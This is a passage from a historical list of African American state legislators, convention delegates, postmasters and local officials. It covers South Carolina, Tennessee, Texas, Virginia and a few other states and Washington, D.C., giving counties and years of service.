Thomas Richardson – Colleton County 1868–1870, 1874–1876
Henry Riley – Orangeburg County 1872
J. R. Rivers – Beaufort County 1882
Prince Rivers – Edgefield and Aiken counties 1868–1874 (also South Carolina Constitutional Convention
Joseph Robinson – Beaufort County 1876, 1880–1886
John C. Rue – Beaufort County 1880
Alfred Rush – Darlington County 1868, 1874
Thaddeus Sasportas – Chester County 1868 (also South Carolina Constitutional Convention and postmaster)
Sancho Saunders – Chester County 1868 (also South Carolina Constitutional Convention)
Robert F. Scott – Williamsburg County 1868
William C. Scott – Williamsburg County 1874
W. H. Sheppard – Beaufort County 1884
Henry L. Shrewsbury – Chesterfield County 1868
Augustus Simkins – Edgefield County 1872–1876
Aaron Simmons – Orangeburg County 1874–1876, 1882–1886, 1888–1890
Benjamin Simmons – Beaufort County 1875–1876, 1878–1880
Hercules Simmons – Colleton County 1874
Limus Simons – Edgefield County 1872
William Simons – Richland County 1868–1872, 1874–1876
Paris Simpkins – Edgefield County 1872–1876
Charles Sims – Chester County 1872
Andrew Singleton – Berkeley County 1870
Asbury L. Singleton – Sumter County 1870
J. P. Singleton – Chesterfield County 1870
James Singleton – Berkeley County 1882
B. F. Smalls – Charleston County 1876
Robert Smalls – Beaufort County 1868 (also South Carolina Senate, South Carolina Constitutional Convention, U.S. States Congress, and collector of customs)
Sherman Smalls – Colleton County 1870–1874
Rev. W. Smalls – Charleston County 1878
James E. Smiley – Sumter County 1868
Abraham W. Smith – Charleston County 1868, 1876
Jackson A. Smith – Darlington County 1872–1876
Powell Smythe – Clarendon County 1868
Butler Spears – Sumter County 1872
James A. Spencer – Abbeville County 1872
Nathaniel T. Spencer – Charleston County 1872
Charles H. Sperry – Georgetown County 1872
Henry Steele – York County 1874
D. Augustus Straker – Orangeburg County 1876, 1877, 1878 but was denied his seat all three times (also Inspector of Customs)
Caesar Sullivan – Laurens County 1872
Robert Tarlton – Colleton County 1870–1874
John W. Thomas – Marlboro County 1870
W. H. Thomas – Newberry County 1876
William M. Thomas – Colleton County 1868–1876 (also South Carolina Constitutional Convention)
Benjamin A. Thompson – Marion County 1868
Joseph Thompson – Richland County 1874
Samuel B. Thompson – Richland County 1868–1874 (also South Carolina Constitutional Convention)
Julius C. Tingman – Charleston County 1872, 1876
Robert Turner – Charleston County 1870–1876
Richard M. Valentine – Abbeville County 1868
John Vanderpool – Charleston County 1872–1876
Dublin Walker – Chester County 1874–1877
John Wallace – Orangeburg County 1870
Thomas H. Wallace – Berkeley County 1890
Jared D. Warley – Clarendon County 1870–1874 (also South Carolina Senate)
J. J. Washington – Beaufort County 1886–1890
Archie Weldon – Edgefield County 1874
James Wells – Richland County 1876
John W. Westberry – Sumter County 1874, 1878
Ellison M. Weston – Richland County 1874
William James Whipper – Beaufort County 1868–1872, 1875 (also South Carolina Constitutional Convention and probate judge)
John H. White – York County 1868
Hannibal A. Wideman – Abbeville County 1872–1876
James Wigg – Beaufort County 1890
Charles McDuffie Wilder – Richland County 1868 (also postmaster and South Carolina Constitutional Convention)
Bruce H. Williams – Georgetown County 1874
James Clement Wilson – Sumter County 1872
Zachariah W. Wines – Darlington County 1876
John B. Wright – Charleston and York counties 1868–1872
Smart Wright – Charleston County 1874
James M. Young – Laurens County 1872–1876
Prince Young – Chester County 1872
South Carolina Constitutional Convention
Purvis Alexander – Chester County 1868
T. Andrews – Sumter County
John Bonum – Edgefield County 1868
Benjamin A. Boseman Jr. – (South Carolina House and postmaster)
Isaac Brockenton – Darlington County, 1868 (also South Carolina House)
Barney Burton – Chester County 1868 (also South Carolina House)
Benjamin Byas – Berkeley County 1868 (also South Carolina House)
E. J. Cain – Orangeburg, South Carolina 1868
Richard H. Cain – Charleston County 1868 (also U.S. Congress, city council, and South Carolina Senate, House, Attorney General, and Constitutional Convention)
Francis Lewis Cardozo– Charleston County 1868 (also Secretary of State of South Carolina and South Carolina State Treasurer)
John A. Chestnut – Kershaw County 1868 (also South Carolina House)
Albert Clinton – Lancaster County 1868
Samuel P. Coker
Wilson Cooke – Greenville County 1868 (also South Carolina House)
Nelson Davis – Laurens County 1868
Robert C. De Large – Charleston County 1868 (also South Carolina House, U.S. Congress, State Land Commissioner)
Abram Dogan – Union County 1868
William Driffle – Colleton County 1868
H. D. Edwards – Fairfield County 1868
Robert B. Elliott – Edgefield County 1868 (also South Carolina House, South Carolina Attorney General, U.S. Congress, and county commissioner)
Rice Foster – Spartanburg County 1868
W. H. W. Gray – Berkeley County 1868
David Harris – Edgefield County 1868
C. D. Hayne – Barnwell County 1868
Harry E. Hayne – Marion County 1868 (South Carolina Senate, South Carolina House, Secretary of State, and postmaster)
James N. Hayne – Barnwell County 1868
George Henderson – Newberry County 1868
Richard Hubert – Darlington County 1868
Allen Hudson, Lancaster County
George Jackson – Marlboro County 1868
Henry Jacobs – Fairfield County 1868 (also South Carolina House)
William Jervey – Berkeley County 1868 (also South Carolina House and South Carolina Senate)
J. W. Johnson – Marion County 1868
Samuel Johnson – Anderson County 1868
W. B. Johnson – Greenville County 1868
W. E. Johnson – Sumter County 1868
W. M. Joiner – Abbeville County 1868
Charles Jones – Lancaster County 1868
Henry Jones – Horry County 1868
Jordan Lang – Darlington County 1868 (also South Carolina House)
L. S. Langley – Beaufort County 1868
George Lee – Berkeley County 1868
Samuel Lee – Sumter County 1868
Aaron Logan
Huston J. Lomax – Abbeville County 1868 (also South Carolina Senate)
Julius Mayer – Barnwell County 1868
Harry McDaniels – Laurens County 1868
W. J. McKinlay – Orangeburg County 1868
William McKinlay – Charleston County 1868 (also South Carolina House and city council)
J. W. Meade – York County 1868
A. Middleton – Barnwell County 1868
F. F. Miller – Georgetown County 1868
Thomas E. Miller – 1895 (also U.S. Congress, South Carolina Senate, and South House)
Lee Nance – Newberry County 1868
William B. Nash – Richland County 1868 (also South Carolina Senate)
William Nelson – Clarendon County 1868
Samuel Nuckles – Union County 1868 (also South Carolina House)
C. M. Olsen – Williamsburg County 1868
Joseph Rainey – Georgetown County 1868 (also U.S. Congress and South Carolina Senate)
Benjamin F. Randolph – Orangeburg County 1868 (also South Carolina Senate)
Alonzo J. Ransier – Charleston County 1868 (also South Carolina Lt. Governor, U.S. Congress, South Carolina House)
L. R. Reed – 1895
Prince Rivers – Edgefield County 1868 (also South Carolina House)
Sancho Sanders – Chester County 1868 (also South Carolina House)
Thaddeous Sasportas – Orangeburg County 1868 (also South Carolina House and postmaster)
H. L. Shrewsbury – Chesterfield County 1868
Robert Smalls – Beaufort County 1868, 1895 (also U.S. Congress, South Carolina House, South Carolina Senate, and collector of customs)
Calvin Stubbs – Marlboro County 1868
Stephen Atkins Swails – Williamsburg County 1868 (also South Carolina Senate and mayor)
William M. Thomas – Colleton County 1868 (South Carolina House)
A. R. Thompson – Horry County 1868
B. A. Thompson – Marion County 1868
Samuel B. Thompson – Richland County 1865 (also South Carolina House)
W. M. Viney – Colleton County 1868
William James Whipper – Beaufort County 1868, 1895 (also South Carolina House and probate judge)
J. H. White – York County 1868
James Wigg – 1895
Charles McDuffie Wilder – Richland County 1868 (also South Carolina House and postmaster)
F. E. Wilder – Beaufort County 1868
Thomas Williamson – Abbeville County 1868
Coy Wingo – Spartanburg County 1868
J. J. Wright – Beaufort County 1868
Other state offices
Francis Lewis Cardozo – Secretary of State of South Carolina 1868–1872; South Carolina State Treasurer 1872–1877 (also South Carolina Constitutional Convention)
R. C. De Large – State Land Commissioner 1870; State Commissioner Sinking Fund (also U.S. Congress, South Carolina House, and South Carolina Constitutional Congress)
Robert B. Elliott – Attorney General of South Carolina 1876–1877 (also South Carolina House, U.S. Congress, South Carolina Constitutional Convention, South Carolina Senate, and county commissioner)
J. E. Green – sergeant of arms South Carolina Senate
Richard Theodore Greener – South Carolina school system commissioner 1875
Harry E. Hayne – Secretary of State of South Carolina 1872–1878 and State Land Commissioner (South Carolina Senate, South Carolina House, South Carolina Constitutional Convention, and postmaster)
Styles Hutchins – state judge (also Tennessee House of Representatives)
Albert Osceola Jones – clerk of South Carolina House of Representatives 1868–1876
Walter R. Jones – secretary of the State Financial Board (also city council clerk)
Henry W. Purvis – Adjunct General 1872–1876 (also South Carolina House)
John Williams – Sergeant at Arms of the South Carolina House of Representatives
Jonathan Jasper Wright – Associate Justice of South Carolina Supreme Court 1870–1877 (also South Carolina Senate)
Federal offices
Robert B. Anderson – postmaster of Georgetown March 16, 1898 – February 28, 1902 (also South Carolina House
Frazier B. Baker – postmaster of Effingham March 15, 1892 – September 2, 1893; Lake City July 30, 1897 – February 22, 1898
Samuel Bampfield – postmaster of Beaufort October 5, 1897 – February 2, 1900 (also South Carolina House)
Robert R. Bethea – postmaster of Latta July 31, 1890 – August 16, 1894
Benjamin A. Boseman – postmaster of Charleston March 18, 1873 – February 23, 1881 (also South Carolina Constitutional Convention and South Carolina House)
William E. Boykin – postmaster of Mayesville April 12, 1882 – September 10, 1885
Israel W. Brown – postmaster of Hardeeville July 20, 1883 – April 4, 1885
Marion F. Campbell – postmaster of Beaufort February 28, 1891 – April 8, 1893
Richard J. Cochran – postmaster of Bucksville October 6, 1890 – January 16, 1895
Joseph S. Collins – postmaster of Eastover February 18, 1898 – October 15, 1900
Harriet "Hattie" R. Commander – postmaster of Chesterfield June 11, 1889 – December 11, 1893
John Z. Crook – postmaster of St George May 14, 1883 – January 23, 1890; April 29, 1885 – January 20, 1894
Eliza H. Davis – postmaster of Summerville July 23, 1873 – September 10, 1884
James A. Davison – postmaster of Blackville March 20, 1890 – October 2, 1897; September 19, 1893 –April 5, 1906
Adam C. Dayson – postmaster of Stono June 6, 1892 – February 28, 1895
Wesley S. Dixon – postmaster of Barnwell February 23, 1882 – January 11, 1884
A. H. Durant – postmaster of Marion August 25, 1884 – May 18, 1885
Julius Durant – postmaster of Paxville July 21, 1897 – November 11, 1908
Philip E. Ezekiel – postmaster of Beaufort July 17, 1871 – February 26, 1887
Lawrence Faulkner – postmaster of Society Hill October 17, 1877 – May 17, 1889
Irving T. Fleming – postmaster of Magnolia (became Lynchburg in 1905) January 26, 1898 – January 12, 1911
Theodore B. Gordon – postmaster of Conway August 12, 1891 – June 12, 1894
John D. Graham – postmaster of Sheldon October 15, 1890 – December 20, 1899; April 19, 1898 – December 31, 1905
Charles Samuel Green – postmaster of Plantersville October 26, 1883 – May 12, 1885 (also South Carolina House)
Moses W. Harrall – postmaster of Timmonsville March 3, 1884 – July 24, 1889; January 16, 1885 – January 30, 1894
Charles D. Hayne – postmaster of Aiken March 23, 1869 – January 23, 1871 (South Carolina Constitutional Convention, South Carolina Secretary of State, South Carolina House, and South Carolina Senate)
James H. Holloway – postmaster of Marion Court House September 9, 1870 – August 25, 1884
Louisa C. Jones – postmaster of Ridgeland September 30, 1897 – January 7, 1910
Robert M. Keene – postmaster of Statesburg August 16, 1889 – October 9, 1893
Moses J. Langley – postmaster of Chopee March 15, 1890 – May 2, 1894
John Lee – postmaster of Chester April 27, 1875 – November 27, 1876 (also South Carolina Senate)
Edward D. Littlejohn – postmaster of Gaffney May 7, 1892 – November 4, 1893
Major D. Macfarlan – postmaster of Cheraw July 9, 1892 – November 13, 1897; December 9, 1893 – April 23, 1900
John W. Manigault – postmaster of Providence December 21, 1889 – September 4, 1890
John C. Mardenborough – postmaster of Port Royal December 31, 1879 – February 1, 1898; August 18, 1885 – February 23, 1905
Henry J. Maxwell – postmaster of Bennettsville March 16, 1869 – November 16, 1870 (also South Carolina Senate)
John J. Mays – postmaster of Branchville February 25, 1883 – February 29, 1885
Benjamin W. Middleton – postmaster of Midway March 24, 1870 – December 16, 1872
Mary S. Middleton – postmaster of Midway December 16, 1872 – August 30, 1875
Isaac R. Miller – postmaster of Bishopville February 26, 1890 – July 31, 1890
J. W. Moody – postmaster of Mullins July 3, 1884 – September 17, 1889; May 4, 1885 – December 26, 1893
W. J. Moultrie – postmaster of Georgetown July 22, 1884 – August 2, 1886
William Emory Nichols – postmaster of Nichols July 30, 1890 – August 4, 1891
Frederick Nix Jr. – postmaster of Blackville August 7, 1879 – May 11, 1885 (also South Carolina House)
William A. Paul – postmaster of Walterborough February 14, 1884 – May 17, 1889; June 12, 1885 – May 23, 1893
John T. Rafra – postmaster of Society Hill May 17, 1889 – September 22, 1893
Edward C. Rainey – postmaster of Georgetown January 11, 1875 – June 7, 1877
Laura Reed – postmaster of Edisto Island May 30, 1898 – September 21, 1908; March 12, 1901 – January 12, 1910
John J. Reynolds – postmaster of Verdery May 24, 1889 – November 11, 1890
Alexander S. Richardson – postmaster of Chester September 22, 1873 – April 27, 1875
Joseph V. Rivers – postmaster of Lady's Island March 19, 1879 – September 8, 1885
Thomas Robinson – postmaster of Bamberg December 27, 1883 – April 21, 1885
Thaddeus Sasportas – postmaster of Orangeburg March 19, 1869 – February 17, 1870 (also South Carolina House and South Carolina Constitutional Convention)
Edward J. Sawyer – postmaster of Bennettsville August 27, 1883 – May 9, 1892; June 29, 1885 – November 13, 1893
Daniel Sanders – postmaster of Walterborough March 31, 1873 – February 14, 1884
Robert Smalls – Collector of Customs at Beaufort 1899–1913 (also U.S. Congress, South Carolina House, South Carolina Senate, and South Carolina Constitutional Convention)
Ishmael H. Smith – postmaster of Port Royal June 22, 1889 – August 9, 1893
Frances J. M. Sperry – postmaster of Georgetown September 27, 1890 – June 19, 1893
Robert H. Stanley – postmaster of Dovesville July 29, 1889 – December 26, 1893
D. Augustus Straker – Inspector of Customs at the port of Charleston (also South Carolina House).
Robert A. Stewart – postmaster of Manning May 17, 1889 – December 26, 1893
William D. Tardif Jr. – postmaster of Foreston March 3, 1884 – May 1885
Robert S. Tarleton – postmaster of White Hall August 20, 1883 – April 22, 1885
Henry C. Tindal – postmaster of Paxsville March 12, 1891 – December 26, 1893
Cohen Whithead or Whitiehead – postmaster of Kingstree July 26, 1877 – October 25, 1886
Charles McDuffie Wilder – postmaster of Columbia April 5, 1869 – June 2, 1885 (also South Carolina House and South Carolina Constitutional Convention)
Joshua E. Wilson – postmaster of Florence February 8, 1876 – January 27, 1885; March 24, 1890 – July 18, 1899; April 9, 1883 – March 9, 1886; May 11, 1894 – September 1, 1909
Zachariah Wines – postmaster of Society Hill October 30, 1897 – November 23, 1904 (also South Carolina House)
Local offices
Ennals J. Adams – Charleston City Council 1868
Macon B. Allen – judge of Charleston County Criminal Court 1873; probate judge for Charleston County 1876 (also a justice of the peace in Massachusetts)
Harrison N. Bouey – Edgefield County probate judge in 1875
Malcom Brown – Charleston City Council 1869
Richard H. Cain – Charleston City Council 1868 (U.S. Congress and South Carolina Attorney General, Senate, House, Constitutional Convention)
Richard Dereef – Charleston City Council 1868
Robert B. Elliott – Barnwell County commissioner (also U.S. Congress, South Carolina Attorney General, South Carolina Constitutional Convention, and South Carolina House)
W. G. Fields – Charleston City Council 1874
S. B. Garrett – Charleston City Council 1874
John A. Godfrey – Charleston City Council 1874
John Gordon – Charleston City Council 1874
R. N. Gregorie – Charleston City Council 1874
William R. Hampton – Charleston City Council 1869
Richard Holloway – Charleston City Council 1869
Robert Howard – Charleston City Council 1868, 1869
Walter R. Jones – Clerk of the City Council of Columbia (also State Financial Board)
William McKinlay – Charleston City Council 1868, 1869, 1874 (also South Carolina House and South Carolina Constitutional Congress)
A. B. Mitchell – Charleston City Council 1874
B. Moncrief – Charleston City Council 1874
George Shrewsbury – Charleston City Council 1874
Thomas Small – Charleston City Council 1869
Stephen Atkins Swails – mayor of Kingstree 1868 (also South Carolina Senate)
Philip Thorne – Charleston City Council 1869
James Wagoner – York County trial justice
Edward P. Wall – Charleston City Council 1868, 1869
Launcelot F. Wall – Charleston City Council 1869
William Weston – Charleston City Council 1868
William James Whipper – judge of probate Beaufort County (also South Carolina House and South Carolina Constitutional Convention)
Tennessee
Only one African American served in the Tennessee Legislature during the 1870s, but more than a dozen followed in the 1880s as Republicans retook the governorship. They advocated for schools for African Americans, spoke against segregated public facilities, and advocated for voting rights protections.
Tennessee House of Representatives
John W. Boyd – Tipton County 1881 Weakley County 1883 (also magistrate)
Thomas F. Cassels – Shelby County 1881
Greene E. Evans – Shelby County 1885
William A. Feilds – Shelby County 1885 (also justice of the peace)
? Goodman – Fayette County 1889
Jesse M. H. Graham – Montgomery County, 1895
William C. Hodge – Hamilton County 1885 (also alderman)
Leon Howard – Shelby County 1883
Styles Hutchins – Hamilton County 1887–1888 (also state judge in South Carolina)
Sampson W. Keeble – Davidson County 1871 (also magistrate)
Samuel A. McElwee – Haywood County 1879–1883
Isham F. Norris – Shelby County 1881
David F. Rivers – Fayette County 1883, was reelected for the 1885 term but forced to leave the county
Thomas A. Sykes – Davidson County 1877, 1881 (also North Carolina House)
Other state offices
James H. Sumner – door-keeper of the Tennessee House of Representatives 1867–1869
Other state and federal offices
James Carroll Napier – State Department Clerk (also Nashville Board of Aldermen)
Local offices
John W. Boyd – magistrate in Tipton County 1876–1882, 1885 ?–1906 (also Tennessee House)
Randall Brown – Davidson County commissioner
William A. Feilds – Shelby County justice of the peace (also Tennessee House)
Charles Gowdey – Nashville Board of Aldermen
William C. Hodge – 4th Ward of Chattanooga alderman 1878–1887 (also Tennessee House)
Sampson W. Keeble – Davidson County magistrate 1877–1882 (also Tennessee House)
James Carroll Napier – Nashville Board of Aldermen (also State Department Clerk)
William Bennett Scott Sr. – mayor of Maryville 1869
Josiah T. Settle – Assistant Attorney General for Shelby County 1885–1887 (also Mississippi House)
Texas
During the Reconstruction era, four African Americans won election to the Texas Senate and 32 to the Texas House of Representatives.
Texas Senate
Walter Moses Burton – Austin, Fort Bend, and Wharton counties 1874–1876; Fort Bend, Waller, and Wharton counties 1876–1883
Matthew Gaines – District 16/Lee County 1870–1873
Walter E. Riptoe – Harrison County 1876–1881
George Ruby – Brazoria, Galveston, and Matagorda counties 1870–1871, 1873 (also Texas Constitutional Convention)
Texas House of Representatives
David Abner Sr. – Harrison and Rusk counties 1874 (also Texas Constitutional Convention)
Richard Allen – Harris and Montgomery counties 1870, 1873
Edward Anderson – Harris and Montgomery counties 1873
Alexander Asberry – Robertson County 1889
Houston A. P. Bassett – Grimes County 1887
Thomas Beck – Grimes County 1874, 1879
D. W. Burley – Robertson, Leon, and Freestone counties 1870
Silas Cotton – Robertson, Leon, and Freestone counties 1870
Goldsteen Dupree – Montgomery and Harris counties 1870
Robert J. Evans – Grimes County 1879–1883
Jacob E. Freeman – Waller, Fort Bend, and Wharton counties 1874, 1880
Harriel G. Geiger – Robertson County 1879, 1881
Bedford G. Guy – Washington County 1879
Nathan H. Haller – Brazoria County 1892–1897
Jeremiah J. Hamilton – Fayette and Bastrop counties 1870
William H. Holland – Waller, Fort Bend, and Wharton counties 1876
Mitchell Kendall – Harrison County 1870 (also Texas Constitutional Convention)
Robert A. Kerr – Bastrop County 1881
Doc C. Lewis – Wharton County 1881
Elias Mayes – Brazos County 1879, 1889
David Medlock – Limestone, Falls, and McLennan counties 1870
John Mitchell – Burleson, Brazos, and Milam counties 1870; Burleson and Washington counties 1873 (also Texas Constitutional Convention)
E. C. Mobley – Robertson County 1882
Henry Moore – Harrison County 1870, 1873
Robert J. Moore – Washington County 1883–1889
Sheppard Mullens – McLennan County 1870
Edward Patton – San Jacinto and Polk counties 1891
Henry Phelps – Wharton, Austin, and Fort Bend counties 1872
Meshack R. Roberts – Fifth District/Rusk and Harrison counties 1873, 1875; Tenth District/Harrison County 1877
Alonzo Sledge – Washington and Burleson counties 1879
Robert Lloyd Smith – Colorado County 1895–1899
Henry Sneed – Waller, Wharton, and Fort Bend counties 1877
James H. Stewart – 48th District/Robertson County 1885
James H. Washington – Grimes County 1873
Allen W. Wilder – Washington County 1873
Benjamin Franklin Williams – 25th District/Lavaca and Colorado counties 1871; 37th District/Waller, Fort Bend, and Wharton counties 1879; 53rd District/Waller and Fort Bend counties 1885 (also Texas Constitutional Convention)
Richard Williams – Walker, Grimes, and Madison counties 1870, 1873
George W. Wyatt – Waller and Fort Bend counties 1883
Texas Constitutional Convention
David Abner Sr. – District 5/Harrison and Rusk counties 1875 (also Texas House)
Charles W. Bryant – Harris County 1868–1869
Stephen Curtis – Brazos County 1868–1869
Bird Davis – Wharton County 1875
Melvin Goddin – 15th District 1875
Wiley Johnson – Harrison County 1868–1869
Mitchell Kendall – Harrison County 1868–1869 (also Texas House)
Ralph Long – Limestone, Navarro, and Hill counties 1868–1869
Lloyd Henry McCabe – Fort Bend County 1875
James McWashington – Montgomery County 1868–1869
John Mitchell – Burleson and Washington counties 1875 (also Texas House)
Sheppard Mullens – McLennan County 1868 (also Texas House)
William Reynolds – Waller County 1875
George Ruby – Brazoria, Galveston, and Matagorda counties 1896–1969 (also Texas Senate)
Benjamin O. Watrous – Washington County 1868–1869
Benjamin Franklin Williams – 1868–1869 (also Texas House)
Federal offices
Norris Wright Cuney – United States Collector of Customs Port of Galveston 1889 (Board of Aldermen)
Jasper N. Hamilton – postmaster of Eylau April 10, 1890 – June 11, 1895
Local offices
Norris Wright Cuney – 12th district member of the Galveston Board of Aldermen 1883 (also U.S. Customs Collector)
Virginia
In 2012, the Virginia Senate enacted Joint Resolution No. 89, recognizing that Reconstruction in Virginia lasted from 1869 to 1890 due to Jim Crow laws; federal Reconstruction ended in 1877.
Senate of Virginia
James W. D. Bland – Prince Edward County 1869 (also Virginia Constitutional Convention)
Cephas L. Davis – Mecklenburg County 1879
John M. Dawson – Charles City, Elizabeth City, James City, Warwick, and York counties 1874–1877
Joseph P. Evans – Petersburg County 1874
Nathaniel M. Griggs – Prince Edward County 1887–1890
James R. Jones Mecklenburg County – 1875–1877 and 1881–1883
Isaiah L. Lyons – Surry, York, Elizabeth City, and Warwick counties 1869–1871
William P. Moseley – Goochland County 1869–1871 (also Virginia Constitutional Convention)
Francis "Frank" Moss – Buckingham County 1869–1871 (also Virginia House and Virginia Constitutional Convention)
Daniel M. Norton – James City and York counties 1871–1873 and 1877–1887 (also Virginia Constitutional Convention)
Guy Powell – Nottoway, Lunenburg and Brunswick counties 1875–1878
John Robinson – Cumberland County 1869–1873 (also Virginia Constitutional Convention)
William N. Stevens – Petersburg County 1871–1878 and Sussex County 1881 (also Virginia House)
George Teamoh – Norfolk County 1869–1871 (also Virginia Constitutional Convention)
Virginia House of Delegates
William H. Andrews – Surry County 1869–1871 (also Virginia Constitutional Convention)
William H. Ash – Amelia and Nottoway counties 1887
Briton Baskerville, Jr. – Mecklenburg County 1887
Edward David Bland – Prince George and Surry counties 1879–1884
Phillip S. Bolling – Cumberland and Buckingham counties; elected in 1883 but was ruled ineligible
Samuel P. Bolling – Cumberland and Buckingham counties 1883–1887
Tazewell Branch – Prince Edward County 1874–1877
William H. Brisby – New Kent County 1869–1871
Goodman Brown – Prince George and Surry counties 1887
Peter J. Carter – Northampton County 1871–1878
Matt Clark – Halifax County 1874
George William Cole – Essex County 1879
Asa Coleman – Halifax County 1871–1873
Johnson Collins – Brunswick County 1879
Aaron Commodore – Essex County 1875–1877
Miles Connor – Norfolk County 1875–1877
Henry Cox – Chesterfield and Powhatan counties 1869–1877
Isaac Dabbs – Charlotte County 1875–1877
McDowell Delaney – Amelia County 1871–1873
Amos Andre Dodson – Mecklenburg County 1883
Shed Dungee – Cumberland and Buckingham counties 1879–1882
Jesse Dungey – King William County 1871–1873
Isaac Edmundson – Halifax County 1869–1871
Ballard T. Edwards – Chesterfield and Powhatan counties 1869–1871
Joseph P. Evans – Petersburg County 1871–1873 (also Virginia Senate)
William D. Evans – Prince Edward County 1877–1880
William W. Evans – Petersburg County 1887
William Faulcon – Prince George and Surry counties 1885–1887
George Fayerman – Petersburg County 1869–1871
James A. Fields – Elizabeth City and James City counties 1889
Alexander Q. Franklin – Charles City County 1889
John Freeman – Halifax County 1871
William Gilliam – Prince George County 1871–1875
James P. Goodwyn – Petersburg County 1874
Armistead Green – Petersburg County 1881–1884
Robert G. Griffin – James City and York counties 1883
Nathaniel M. Griggs – Prince Edward County 1883 (also Virginia Senate)
Ross Hamilton – Mecklenburg County 1869–1882, 1889
Alfred W. Harris – Petersburg County 1881–1888
H. Clay Harris – Halifax County 1874–1875
Henry C. Hill – Amelia County 1874–1875
Charles E. Hodges – Norfolk County 1869–1871
John Q. Hodges – Princess Anne County 1869–1871
Henry Johnson – Amelia and Nottoway counties 1889–1890
Benjamin Jones – Charles City County 1869–1871
James R. Jones – Mecklenburg County 1885–1887 (also Virginia Senate)
Peter K. Jones – Greensville County 1869–1877 (also Virginia Constitutional Convention)
Robert G. W. Jones – Charles City County 1869–1871
Rufus S. Jones – Elizabeth City and Warwick counties 1871–1875
William H. Jordan – Petersburg County 1885–1887
Alexander G. Lee – Elizabeth City and Warwick 1877–1879
Neverson Lewis – Chesterfield and Powhatan counties 1879–1882
James F. Lipscomb – Cumberland County 1869–1877
William P. Lucas – Louisa County 1874–1875
John W. B. Matthews – Petersburg County 1871–1873
J. B. Miller Jr. – Goochland County 1869–1871
Peter G. Morgan – Petersburg County 1869–1871 (also Virginia Constitutional Convention and city council)
Francis "Frank" Moss – Buckingham County 1874 (also Virginia Senate and Virginia Constitutional Convention)
Armistead S. Nickens – Lancaster County 1871–1875
Frederick S. Norton – James City and Williamsburg counties 1869–1871
Robert Norton – Elizabeth City and York counties 1869–1872, 1881
Alexander Owen – Halifax County 1869–1871
Littleton Owens – Princess Anne County 1879–1882
Richard G. L. Paige – Norfolk County 1871–1875, 1879–1882
William H. Patterson – Charles City County 1871–1873
Caesar Perkins – Buckingham County 1869–1871, 1878–1888, 1887
Fountain M. Perkins – Louisa County 1869–1871
John W. Poindexter – Louisa County 1875–1877
Joseph B. Pope – Southampton County 1879
Guy Powell – Brunswick County 1881 (also Virginia Senate)
William H. Ragsdale – Charlotte County 1869–1871
John H. Robinson – Elizabeth City and James City, and York counties 1887
R. D. Ruffin – Dinwiddie County 1875
Archer Scott – Amelia and Nottoway counties 1875–1877, 1879–1884
George L. Seaton – Alexandria County 1869–1871
Dabney Smith – Charlotte County 1881
Henry D. Smith – Greensville County 18790
Robert M. Smith – Elizabeth City and Warwick counties 1875–1877
William N. Stevens – Sussex County 1869–1879 (also Virginia Senate)
John B. Syphax – Arlington County 1874
Henry Turpin – Goochland County 1871
John Watson – Mecklenburg County 1869 (also Virginia Constitutional Convention)
Maclin C. Wheeler – Brunswick County 1883
Robert H. Whittaker – Brunswick County 1875–1877
Ellis Wilson – Dinwiddie County 1869–1871
Virginia Constitutional Convention
William H. Andrews – Surry County 1867–1868 (also Virginia House)
James D. Barrett – Fluvanna County 1867–1868
Thomas Bayne – Norfolk 1867–1868
James W. D. Bland – Prince Edward County 1867–1868 (also Virginia Senate)
William Breedlove – Essex County 1867–1868
John Brown – Southampton County 1867–1868
David Canada – Halifax County 1867–1868
James B. Carter – Chesterfield and Powhatan counties 1867–1868
Joseph Cox – Richmond 1867–1868
John Wesley Cromwell – Clerk of the Virginia Constitutional Convention 1867
Willis Augustus Hodges – Princess Anne County 1867–1868
Joseph R. Holmes – Charlotte and Halifax counties 1867–1868
Peter K. Jones – Greensville and Sussex counties 1867–1868 (also Virginia House)
Samuel F. Kelso – Campbell County 1867–1868
Lewis Lindsey – Richmond 1867–1868
Peter G. Morgan – Petersburg 1867–1868 (also Virginia House and city council)
William P. Moseley – Goochland County 1867–1868 (also Virginia Senate)
Francis "Frank" Moss – Buckingham County 1867–1868 (also Virginia House and Virginia Senate)
Edward Nelson – Charlotte County 1867–1868
Daniel M. Norton – Yorktown 1867–1868 (also Virginia Senate)
John Robinson – Cumberland County 1867–1868 (also Virginia Senate)
James T. S. Taylor – Albemarle County 1867–1868
George Teamoh – Portsmouth 1867–1868 (also Virginia Senate)
Burwell Toler – Hanover County 1867–1868
John Watson – Mecklenburg County 1867–1868 (also Virginia House)
Federal offices
P. H. A. Braxton – collector at the United States Custom House in Westmoreland County (also constable)
William Breedlow or Breedlove – postmaster of Tappahannock March 3, 1870 – March 13, 1871
Robert H. Cauthorn – postmaster of Dunnsville September 21, 1897 – October 24, 1901
James H. Cunningham – postmaster of Manchester September 20, 1869 – August 1, 1872
William Henry Hayes – postmaster of Boydton June 17, 1889 – March 25, 1893
John T. Jackson Sr. – postmaster of Alanthus March 23, 1891 – January 31, 1940
William H. Johnson – postmaster of Baynesville November 29, 1893 – October 23, 1897
Wade H. Mason – postmaster of Bluestone March 13, 1890 – November 14, 1902
Isaac Morton – postmaster of Port Royal March 2, 1870 – October 29, 1872
Daniel A. Twyman – postmaster of Junta August 12, 1898 – October 23, 1898
Local offices
P. H. A. Braxton – King William County constable 1872 (also U.S. Custom House collector)
Peter G. Morgan – Petersburg city council (also Virginia House and Virginia Constitutional Convention)
V. Cook Nickens – constable of Leesburg Magisterial District 1873
Washington
Washington did not have any African American legislators during Reconstruction.
Washington House of Representatives
William Owen Bush – 1889–1895
West Virginia
West Virginia did not have any African American legislators during the Reconstruction.
West Virginia House of Delegates
Christopher Payne – Fayette County 1896 (also Consul General to the Danish West Indies 1903)
Wyoming
Wyoming did not have any African American legislators during Reconstruction.
Wyoming Territorial House of Representatives
William Jefferson Hardin – Laramie County 1879–1883
Washington, D.C.
Federal offices
Ebenezer Bassett – 1869–1877
Francis Lewis Cardozo – U.S Postal Service auditor for the United Nates Department of Treasury 1878–1888 (also South Carolina Secretary of State, South Carolina Treasurer, and South Carolina Constitutional Convention)
John Mercer Langston – U.S. Minister to Haiti 1877–1885 (also U.S. Congress)
William E. Matthews – clerk in the United States Postal Service 1870–1881
James Carroll Napier – State Department Clerk (also Nashville Board of Aldermen)
House of Delegates
Solomon G. Brown – 1871–1874
Josiah T. Settle – reading clerk of the House of Delegates 1872 (also Mississippi House)
Local offices
Anthony Bowen – Ward 7 Common Council 1879
John F. Cook – Ward 1 Board of Aldermen 1868 and city registrar 1869
Walker A. Freeman – Ward 1 Common Council 1870
Frank B. Gaines – Ward 6 Common Council 1869, 1870
